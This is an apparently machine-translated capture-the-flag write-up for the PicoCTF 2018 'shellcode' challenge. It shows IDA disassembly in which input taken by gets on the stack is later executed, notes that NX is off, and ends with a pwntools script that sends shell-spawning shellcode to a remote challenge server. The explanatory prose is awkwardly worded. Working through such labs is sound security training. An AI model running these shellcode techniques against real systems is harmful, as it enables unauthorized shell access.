Routine inspection
Look at the subject suggesting that this is a problem shellcode, see protection, NX protection is not really open, which means that the code on the stack can be performed.
Reverse analysis
Numerous file functions, and can not ida f5 direct decompile, players would only line and assembly code
.text:080488A1 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080488A1 public main
.text:080488A1 main proc near ; DATA XREF: _start+17o
.text:080488A1
.text:080488A1 var_A0 = byte ptr -0A0h
.text:080488A1 var_C = dword ptr -0Ch
.text:080488A1 var_4 = dword ptr -4
.text:080488A1 argc = dword ptr 0Ch
.text:080488A1 argv = dword ptr 10h
.text:080488A1 envp = dword ptr 14h
.text:080488A1
.text:080488A1 lea ecx, [esp+4]
.text:080488A5 and esp, 0FFFFFFF0h
.text:080488A8 push dword ptr [ecx-4]
.text:080488AB push ebp
.text:080488AC mov ebp, esp
.text:080488AE push ecx
.text:080488AF sub esp, 0A4h
.text:080488B5 mov eax, stdout
.text:080488BA push 0
.text:080488BC push 2
.text:080488BE push 0
.text:080488C0 push eax
.text:080488C1 call setvbuf
.text:080488C6 add esp, 10h
.text:080488C9 call getegid
.text:080488CE mov [ebp+var_C], eax
.text:080488D1 sub esp, 4
.text:080488D4 push [ebp+var_C]
.text:080488D7 push [ebp+var_C]
.text:080488DA push [ebp+var_C]
.text:080488DD call setresgid
.text:080488E2 add esp, 10h
.text:080488E5 sub esp, 0Ch
.text:080488E8 push offset aEnterAString ; "Enter a string!"
.text:080488ED call puts
.text:080488F2 add esp, 10h
.text:080488F5 sub esp, 0Ch
.text:080488F8 lea eax, [ebp+var_A0]
.text:080488FE push eax
.text:080488FF call vuln
.text:08048904 add esp, 10h
.text:08048907 sub esp, 0Ch
.text:0804890A push offset aThanksExecutin ; "Thanks! Executing now..."
.text:0804890F call puts
.text:08048914 add esp, 10h
.text:08048917 lea eax, [ebp+var_A0]
.text:0804891D call eax
.text:0804891F mov eax, 0
.text:08048924 mov ecx, [ebp+var_4]
.text:08048927 leave
.text:08048928 lea esp, [ecx-4]
.text:0804892B retn
.text:0804892B main endp
Directly from the data stream analysis, there are two main function suspicious points, respectively 080488FF call vuln and 0804891D call eax. General function call will not call eax, eax described here before definitely been given the address of a section. As vuln, ctf do know this question is generally a function named loophole function. We went to see the point
.text:0804887C ; Attributes: bp-based frame
.text:0804887C
.text:0804887C public vuln
.text:0804887C vuln proc near ; CODE XREF: main+5Ep
.text:0804887C
.text:0804887C arg_0 = dword ptr 8
.text:0804887C
.text:0804887C push ebp
.text:0804887D mov ebp, esp
.text:0804887F sub esp, 8
.text:08048882 sub esp, 0Ch
.text:08048885 push [ebp+arg_0]
.text:08048888 call gets
.text:0804888D add esp, 10h
.text:08048890 sub esp, 0Ch
.text:08048893 push [ebp+arg_0]
.text:08048896 call puts
.text:0804889B add esp, 10h
.text:0804889E nop
.text:0804889F leave
.text:080488A0 retn
.text:080488A0 vuln endp
There are calls gets noticed vuln function. His ebp + arg_0 parameters corresponding to the address, i.e. the return address on a stack memory unit, corresponding to the main function, we can see
.text:080488F8 lea eax, [ebp+var_A0]
.text:080488FE push eax
.text:080488FF call vuln
Is the write address gets function [ebp + var_A0] corresponding to the address, we note
.text:08048917 lea eax, [ebp+var_A0]
.text:0804891D call eax
The address is a call [ebp + var_A0] address pointed
Use ideas
The idea here is quite clear, what we first get input will be read, stored into memory [ebp + var_A0], and then when the function in the back, we will call this part. So we just write shellcode, after the function is called shellcode. As for [ebp + var_A0] is a point where we can see the main function is not offset variable, so this [ebp + var_A0] refers to a local variable, and that is on the stack, while nx protection is not turned on, so the shellcode in stack on can also be performed.
from pwn import *
io =remote('node3.buuoj.cn',29911)
context.binary = 'PicoCTF_2018_shellcode'
shellcode = asm(shellcraft.sh())#可以自动生成二进制文件对应架构的 shellcode
io.sendline(shellcode)
io.interactive()